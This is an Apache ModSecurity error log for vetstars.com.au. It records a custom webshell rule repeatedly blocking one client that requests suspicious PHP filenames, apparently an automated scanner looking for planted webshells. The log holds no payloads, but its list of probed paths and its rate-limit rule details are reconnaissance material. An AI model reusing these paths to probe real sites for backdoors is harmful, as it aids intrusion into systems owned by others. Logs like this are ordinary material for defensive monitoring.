[Sun Dec 21 19:58:57.790773 2025] [:error] [pid 59068:tid 59122] [client 20.2.26.82:2032] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUfhARmLyLqWUlrjwydsjwAAAFU"]
[Sun Dec 21 19:58:58.169862 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:1964] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUfhAstpsOP1NfIK_qJAigAAAA4"]
[Sun Dec 21 19:58:58.521894 2025] [:error] [pid 59068:tid 59110] [client 20.2.26.82:1907] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aUfhAhmLyLqWUlrjwydskAAAAEk"]
[Sun Dec 21 19:58:58.856046 2025] [:error] [pid 59068:tid 59107] [client 20.2.26.82:1934] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aUfhAhmLyLqWUlrjwydskgAAAEY"]
[Sun Dec 21 19:58:59.190517 2025] [:error] [pid 59068:tid 59124] [client 20.2.26.82:1962] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aUfhAxmLyLqWUlrjwydskwAAAFc"]
[Sun Dec 21 19:58:59.517371 2025] [:error] [pid 59070:tid 59142] [client 20.2.26.82:2037] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aUfhA33dhXne9KX1kgIg2gAAAI4"]
[Sun Dec 21 19:58:59.822194 2025] [:error] [pid 59070:tid 59150] [client 20.2.26.82:2010] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hk.php"] [unique_id "aUfhA33dhXne9KX1kgIg4AAAAJY"]
[Sun Dec 21 19:59:00.141066 2025] [:error] [pid 59067:tid 59075] [client 20.2.26.82:2024] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hk.php"] [unique_id "aUfhBMtpsOP1NfIK_qJAlAAAAAE"]
[Sun Dec 21 19:59:00.435394 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:1969] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hk.php"] [unique_id "aUfhBI7NvyNF8ab5VgUb9wAAANI"]
[Sun Dec 21 19:59:00.754019 2025] [:error] [pid 59158:tid 59166] [client 20.2.26.82:1932] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hk.php"] [unique_id "aUfhBI7NvyNF8ab5VgUb_AAAAMY"]
[Sun Dec 21 19:59:01.063759 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:1859] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUfhBX3dhXne9KX1kgIhGgAAAJc"]
[Sun Dec 21 19:59:01.397787 2025] [:error] [pid 59158:tid 59183] [client 20.2.26.82:1862] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUfhBY7NvyNF8ab5VgUcBwAAANc"]
[Sun Dec 21 19:59:01.745408 2025] [:error] [pid 59070:tid 59136] [client 20.2.26.82:16435] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUfhBX3dhXne9KX1kgIhPAAAAIg"]
[Sun Dec 21 19:59:02.074780 2025] [:error] [pid 59158:tid 59161] [client 20.2.26.82:1928] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUfhBo7NvyNF8ab5VgUcDQAAAME"]
[Sun Dec 21 19:59:02.420261 2025] [:error] [pid 59067:tid 59090] [client 20.2.26.82:16481] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUfhBstpsOP1NfIK_qJAmAAAABA"]
[Sun Dec 21 19:59:02.750148 2025] [:error] [pid 59067:tid 59096] [client 20.2.26.82:16423] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUfhBstpsOP1NfIK_qJAmQAAABY"]
[Sun Dec 21 19:59:03.073587 2025] [:error] [pid 59158:tid 59169] [client 20.2.26.82:2016] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUfhB47NvyNF8ab5VgUcEQAAAMk"]
[Sun Dec 21 19:59:03.500945 2025] [:error] [pid 59070:tid 59152] [client 20.2.26.82:2038] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUfhB33dhXne9KX1kgIhdQAAAJg"]
[Sun Dec 21 19:59:03.844261 2025] [:error] [pid 59070:tid 59145] [client 20.2.26.82:2039] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aUfhB33dhXne9KX1kgIhfAAAAJE"]
[Sun Dec 21 19:59:04.220273 2025] [:error] [pid 59158:tid 59174] [client 20.2.26.82:16403] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aUfhCI7NvyNF8ab5VgUcFgAAAM4"]
[Sun Dec 21 19:59:04.553632 2025] [:error] [pid 59067:tid 59089] [client 20.2.26.82:16485] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aUfhCMtpsOP1NfIK_qJAmgAAAA8"]
[Sun Dec 21 19:59:04.886266 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:1935] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aUfhCBmLyLqWUlrjwydsxQAAAFM"]
[Sun Dec 21 19:59:05.217158 2025] [:error] [pid 59070:tid 59150] [client 20.2.26.82:2035] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/owl.php"] [unique_id "aUfhCX3dhXne9KX1kgIhiQAAAJY"]
[Sun Dec 21 19:59:05.529106 2025] [:error] [pid 59070:tid 59139] [client 20.2.26.82:1953] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/owl.php"] [unique_id "aUfhCX3dhXne9KX1kgIhjAAAAIs"]
[Sun Dec 21 19:59:05.820277 2025] [:error] [pid 59068:tid 59114] [client 20.2.26.82:1897] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/owl.php"] [unique_id "aUfhCRmLyLqWUlrjwydsyAAAAE0"]
[Sun Dec 21 19:59:06.116118 2025] [:error] [pid 59067:tid 59086] [client 20.2.26.82:2046] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/owl.php"] [unique_id "aUfhCstpsOP1NfIK_qJAnQAAAAw"]
[Sun Dec 21 19:59:06.433328 2025] [:error] [pid 59068:tid 59115] [client 20.2.26.82:1983] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mo.php"] [unique_id "aUfhChmLyLqWUlrjwydsygAAAE4"]
[Sun Dec 21 19:59:06.733237 2025] [:error] [pid 59158:tid 59163] [client 20.2.26.82:2025] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mo.php"] [unique_id "aUfhCo7NvyNF8ab5VgUcIAAAAMM"]
[Sun Dec 21 19:59:07.057634 2025] [:error] [pid 59067:tid 59091] [client 20.2.26.82:2000] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mo.php"] [unique_id "aUfhC8tpsOP1NfIK_qJAoQAAABE"]
[Sun Dec 21 19:59:07.355890 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:1954] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mo.php"] [unique_id "aUfhC47NvyNF8ab5VgUcJAAAAMQ"]
[Sun Dec 21 19:59:07.648985 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:1938] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aUfhC33dhXne9KX1kgIhkAAAAJI"]
[Sun Dec 21 19:59:07.958510 2025] [:error] [pid 59067:tid 59090] [client 20.2.26.82:1956] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aUfhC8tpsOP1NfIK_qJApAAAABA"]
[Sun Dec 21 19:59:08.265784 2025] [:error] [pid 59068:tid 59108] [client 20.2.26.82:1877] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aUfhDBmLyLqWUlrjwyds0gAAAEc"]
[Sun Dec 21 19:59:08.601868 2025] [:error] [pid 59070:tid 59136] [client 20.2.26.82:1821] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aUfhDH3dhXne9KX1kgIhkQAAAIg"]
[Sun Dec 21 19:59:08.963492 2025] [:error] [pid 59067:tid 59096] [client 20.2.26.82:1968] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aUfhDMtpsOP1NfIK_qJApgAAABY"]
[Sun Dec 21 19:59:09.289118 2025] [:error] [pid 59067:tid 59098] [client 20.2.26.82:16476] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aUfhDctpsOP1NfIK_qJApwAAABg"]
[Sun Dec 21 19:59:09.638507 2025] [:error] [pid 59158:tid 59173] [client 20.2.26.82:1996] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aUfhDY7NvyNF8ab5VgUcLAAAAM0"]
[Sun Dec 21 19:59:10.032897 2025] [:error] [pid 59158:tid 59162] [client 20.2.26.82:1977] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aUfhDo7NvyNF8ab5VgUcMAAAAMI"]
[Sun Dec 21 19:59:10.496073 2025] [:error] [pid 59158:tid 59174] [client 20.2.26.82:2026] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/444.php"] [unique_id "aUfhDo7NvyNF8ab5VgUcMwAAAM4"]
[Sun Dec 21 19:59:10.863242 2025] [:error] [pid 59067:tid 59077] [client 20.2.26.82:1869] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/444.php"] [unique_id "aUfhDstpsOP1NfIK_qJArAAAAAM"]
[Sun Dec 21 19:59:11.217197 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:2044] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/444.php"] [unique_id "aUfhD8tpsOP1NfIK_qJAsAAAABI"]
[Sun Dec 21 19:59:11.546304 2025] [:error] [pid 59158:tid 59165] [client 20.2.26.82:1959] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/444.php"] [unique_id "aUfhD47NvyNF8ab5VgUcOAAAAMU"]
[Sun Dec 21 19:59:11.869017 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:1943] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aUfhD33dhXne9KX1kgIhnQAAAJQ"]
[Sun Dec 21 19:59:12.198904 2025] [:error] [pid 59158:tid 59160] [client 20.2.26.82:1929] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aUfhEI7NvyNF8ab5VgUcOwAAAMA"]
[Sun Dec 21 19:59:12.511484 2025] [:error] [pid 59158:tid 59161] [client 20.2.26.82:16454] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aUfhEI7NvyNF8ab5VgUcPgAAAME"]
[Sun Dec 21 19:59:12.818215 2025] [:error] [pid 59070:tid 59128] [client 20.2.26.82:16440] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aUfhEH3dhXne9KX1kgIhoAAAAIA"]
[Sun Dec 21 19:59:13.147693 2025] [:error] [pid 59158:tid 59176] [client 20.2.26.82:1901] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUfhEY7NvyNF8ab5VgUcQAAAANA"]
[Sun Dec 21 19:59:13.501758 2025] [:error] [pid 59158:tid 59175] [client 20.2.26.82:1857] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUfhEY7NvyNF8ab5VgUcRQAAAM8"]
[Sun Dec 21 19:59:13.889988 2025] [:error] [pid 59068:tid 59112] [client 20.2.26.82:1923] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUfhERmLyLqWUlrjwyds2wAAAEs"]
[Sun Dec 21 19:59:14.205833 2025] [:error] [pid 59070:tid 59129] [client 20.2.26.82:1927] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUfhEn3dhXne9KX1kgIhpwAAAIE"]
[Sun Dec 21 19:59:14.524742 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:16502] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nij.php"] [unique_id "aUfhEn3dhXne9KX1kgIhrAAAAIU"]
[Sun Dec 21 19:59:14.900735 2025] [:error] [pid 59158:tid 59161] [client 20.2.26.82:2021] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nij.php"] [unique_id "aUfhEo7NvyNF8ab5VgUcTwAAAME"]
[Sun Dec 21 19:59:15.303018 2025] [:error] [pid 59068:tid 59105] [client 20.2.26.82:1873] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nij.php"] [unique_id "aUfhExmLyLqWUlrjwyds3wAAAEQ"]
[Sun Dec 21 19:59:15.606744 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:1892] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nij.php"] [unique_id "aUfhE8tpsOP1NfIK_qJAtwAAAA4"]
[Sun Dec 21 19:59:16.004755 2025] [:error] [pid 59158:tid 59163] [client 20.2.26.82:2031] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUfhFI7NvyNF8ab5VgUcWgAAAMM"]
[Sun Dec 21 19:59:16.373372 2025] [:error] [pid 59067:tid 59078] [client 20.2.26.82:1971] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUfhFMtpsOP1NfIK_qJAvAAAAAQ"]
